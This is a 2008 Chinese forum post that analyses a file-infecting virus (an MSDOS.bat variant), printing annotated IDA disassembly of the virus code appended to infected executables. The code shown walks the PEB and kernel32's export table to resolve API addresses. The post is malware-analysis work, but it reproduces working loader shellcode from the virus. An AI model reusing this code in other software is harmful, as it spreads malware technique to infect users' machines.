广告广告
  加入我的最爱 设为首页 风格修改
首页 首尾
 手机版   订阅   地图  繁体 
您是第 2370 个阅读者
 
发表文章 发表投票 回覆文章
  可列印版   加为IE收藏   收藏主题   上一主题 | 下一主题   
upside 手机 葫芦墩家族
个人头像
个人文章 个人相簿 个人日记 个人地图
特殊贡献奖 社区建设奖 优秀管理员勋章
头衔:反病毒 反诈骗 反虐犬   反病毒 反诈骗 反虐犬  
版主
分享: 转寄此文章 Facebook Plurk Twitter 复制连结到剪贴簿 转换为繁体 转换为简体 载入图片
推文 x0
[资讯教学] 感染型病毒不完全分析实例(MSDOS.bat新变种)
感染型病毒不完全分析实例(MSDOS.bat新变种)
性质:感染型病毒,MSDOS.bat变种,但是其中的病毒主体加了一个壳。
工具:IDA Pro.,OllyDbg(看雪版OllyICE),LordPE,ImportREC
分析内容:被感染文件中病毒代码分析、病毒主体文件所加壳的脱壳过程。

一、被感染文件中病毒代码分析
被感染文件最后的一个区段被改名为.WYCao段,在后面加入病毒代码内容,改入口点指向此段中。以下为IDA中的反汇编结果,我已经尽量注释清楚。

(1)从PEB得到kernel32.dll基址,遍历其输出表,得到GetProcAddress和LoadLibraryA两个API函数的地址。

.WYCao:01010F10       mov   eax, large fs:30h ; PEB
.WYCao:01010F16       nop
.WYCao:01010F17       nop
.WYCao:01010F18       nop
.WYCao:01010F19       nop
.WYCao:01010F1A       mov   eax, [eax+0Ch] ; PEB.Ldr(PTR _PEB_LDR_DATA)
.WYCao:01010F1D       mov   esi, [eax+1Ch] ; Ldr->InInitializationOrderModuleList.Flink
.WYCao:01010F1D                   ; 一个双向链表,链表该位置的Flink恰指向kernel32.dll的相应结构中
.WYCao:01010F20       lodsd
.WYCao:01010F21       mov   edi, [eax+8]   ; kernel32.dll的_PEB_LDR_DATA结构中的EntryInProgress,模块基址
.WYCao:01010F24       mov   eax, [edi+IMAGE_DOS_HEADER.e_lfanew] ; PE头偏移
.WYCao:01010F27       mov   edx, [edi+eax+IMAGE_NT_HEADERS.OptionalHeader.DataDirectory.VirtualAddress] ; 输出表偏移
.WYCao:01010F2B       add   edx, edi
.WYCao:01010F2D       mov   ecx, [edx+_IMAGE_EXPORT_DIRECTORY.NumberOfNames] ; 以函数名调用的函数个数
.WYCao:01010F30       mov   ebx, [edx+_IMAGE_EXPORT_DIRECTORY.AddressOfNames] ; 保存所有函数名的数组偏移
.WYCao:01010F33       add   ebx, edi
.WYCao:01010F35
.WYCao:01010F35 findbegin:               ; CODE XREF: start+41 j
.WYCao:01010F35                   ; start+49 j ...
.WYCao:01010F35       dec   ecx
.WYCao:01010F36       jz   short findend
.WYCao:01010F38       mov   esi, [ebx+ecx*4]
.WYCao:01010F3B       add   esi, edi
.WYCao:01010F3D       cmp   dword ptr [esi+4], 41636F72h ; 'rocA'
.WYCao:01010F44       jnz   short findnext
.WYCao:01010F46
.WYCao:01010F46 GetAddressByNumber:         ; CODE XREF: start+52 j
.WYCao:01010F46       mov   eax, [edx+_IMAGE_EXPORT_DIRECTORY.AddressOfFunctions] ; 保存所有函数地址偏移的数组
.WYCao:01010F49       add   eax, edi
.WYCao:01010F4B       mov   eax, [eax+ecx*4] ; 从AddressOfFunctions数组中根据当前序号值,得到API函数地址偏移
.WYCao:01010F4E       add   eax, edi
.WYCao:01010F50       push   eax
.WYCao:01010F51       jmp   short findbegin
.WYCao:01010F53 ; ---------------------------------------------------------------------------
.WYCao:01010F53
.WYCao:01010F53 findnext:               ; CODE XREF: start+34 j
.WYCao:01010F53       cmp   dword ptr [esi], 64616F4Ch ; 'Load'
.WYCao:01010F59       jnz   short findbegin
.WYCao:01010F5B       cmp   dword ptr [esi+8], 41797261h ; 'aryA'
.WYCao:01010F62       jz   short GetAddressByNumber
.WYCao:01010F64       jmp   short findbegin
.WYCao:01010F66 ; ---------------------------------------------------------------------------
.WYCao:01010F66
.WYCao:01010F66 findend:               ; CODE XREF: start+26 j
.WYCao:01010F66       pop   ebx       ; 遍历kernel32.dll输出表结束。此次堆栈
.WYCao:01010F66                   ; [esp]==kernel32.dll!GetProcAddress
.WYCao:01010F66                   ; [esp+4]==kernel32.dll!LoadLibraryA
.WYCao:01010F66                   ;
.WYCao:01010F66                   ; 因此,pop的结果:ebx=GetProcAddress
.WYCao:01010F67       pop   edx       ; edx=LoadLibraryA
.WYCao:01010F68       sub   esp, 48h
.WYCao:01010F6B       mov   ebp, esp
.WYCao:01010F6D       mov   [ebp+4], ebx   ; GetProcAddress
.WYCao:01010F70       mov   [ebp+8], edx   ; LoadLibraryA
(2)调用LoadLibraryA和GetProcAddress函数,得到所需的API函数的地址:


.WYCao:01010F73       push   0       ; 结束符
.WYCao:01010F75       push   6C6C642Eh   ; .dll
.WYCao:01010F7A       push   32336C65h   ; 'el32'
.WYCao:01010F7F       push   6E72656Bh   ; 'kern'
.WYCao:01010F84       mov   ecx, esp
.WYCao:01010F86       push   ecx
.WYCao:01010F87       call   dword ptr [ebp+8] ; LoadLibraryA('kernel32.dll')
.WYCao:01010F8A       pop   ecx       ; 前面4个push,这里4个pop,保持堆栈平衡
.WYCao:01010F8B       pop   ecx
.WYCao:01010F8C       pop   ecx
.WYCao:01010F8D       pop   ecx
.WYCao:01010F8E       mov   [ebp+0Ch], eax ; kernel32.dll基址(句柄)
.WYCao:01010F91       push   0
.WYCao:01010F93       push   4179726Fh   ; 'oryA'
.WYCao:01010F98       push   74636572h   ; 'rect'
.WYCao:01010F9D       push   69447377h   ; 'wsDi'
.WYCao:01010FA2       push   6F646E69h   ; 'indo'
.WYCao:01010FA7       push   57746547h   ; 'GetW'
.WYCao:01010FAC       mov   ecx, esp
.WYCao:01010FAE       push   ecx
.WYCao:01010FAF       push   dword ptr [ebp+0Ch] ; kernel32.dll基址
.WYCao:01010FB2       call   dword ptr [ebp+4] ; GetProcAddress(kernel32.dll,'GetWindowsDirectoryA')
WYCao:01010FB5       pop   ecx
.WYCao:01010FB6       pop   ecx
.WYCao:01010FB7       pop   ecx
.WYCao:01010FB8       pop   ecx
.WYCao:01010FB9       pop   ecx
.WYCao:01010FBA       pop   ecx
.WYCao:01010FBB       mov   [ebp+10h], eax ; kernel32.dll!GetWindowsDirectoryA
.WYCao:01010FBE       push   41656Ch
.WYCao:01010FC3       push   69466574h
.WYCao:01010FC8       push   61657243h
.WYCao:01010FCD       mov   ecx, esp
.WYCao:01010FCF       push   ecx
.WYCao:01010FD0       push   dword ptr [ebp+0Ch]
.WYCao:01010FD3       call   dword ptr [ebp+4] ; GetProcAddress(kernel32.dll,'CreateFileA')
.WYCao:01010FD6       pop   ecx
.WYCao:01010FD7       pop   ecx
.WYCao:01010FD8       pop   ecx
.WYCao:01010FD9       mov   [ebp+14h], eax ; kernel32.dll!CreateFileA
.WYCao:01010FDC       push   656C64h
.WYCao:01010FE1       push   6E614865h
.WYCao:01010FE6       push   736F6C43h
.WYCao:01010FEB       mov   ecx, esp
.WYCao:01010FED       push   ecx
.WYCao:01010FEE       push   dword ptr [ebp+0Ch]
.WYCao:01010FF1       call   dword ptr [ebp+4] ; GetProcAddress(kernel32.dll,'CloseHandle')
.WYCao:01010FF4       pop   ecx
.WYCao:01010FF5       pop   ecx
.WYCao:01010FF6       pop   ecx
.WYCao:01010FF7       mov   [ebp+18h], eax ; kernel32.dll!CloseHandle


[ 此文章被upside在2008-09-04 02:10重新编辑 ]



爸爸 你一路好走
献花 x0 回到顶端 [楼 主] From:台湾和信超媒体宽带网 | Posted:2008-09-04 02:02 |

首页  发表文章 发表投票 回覆文章
Powered by PHPWind v1.3.6
Copyright © 2003-04 PHPWind
Processed in 0.057362 second(s),query:15 Gzip disabled
本站由 瀛睿律师事务所 担任常年法律顾问 | 免责声明 | 本网站已依台湾网站内容分级规定处理 | 连络我们 | 访客留言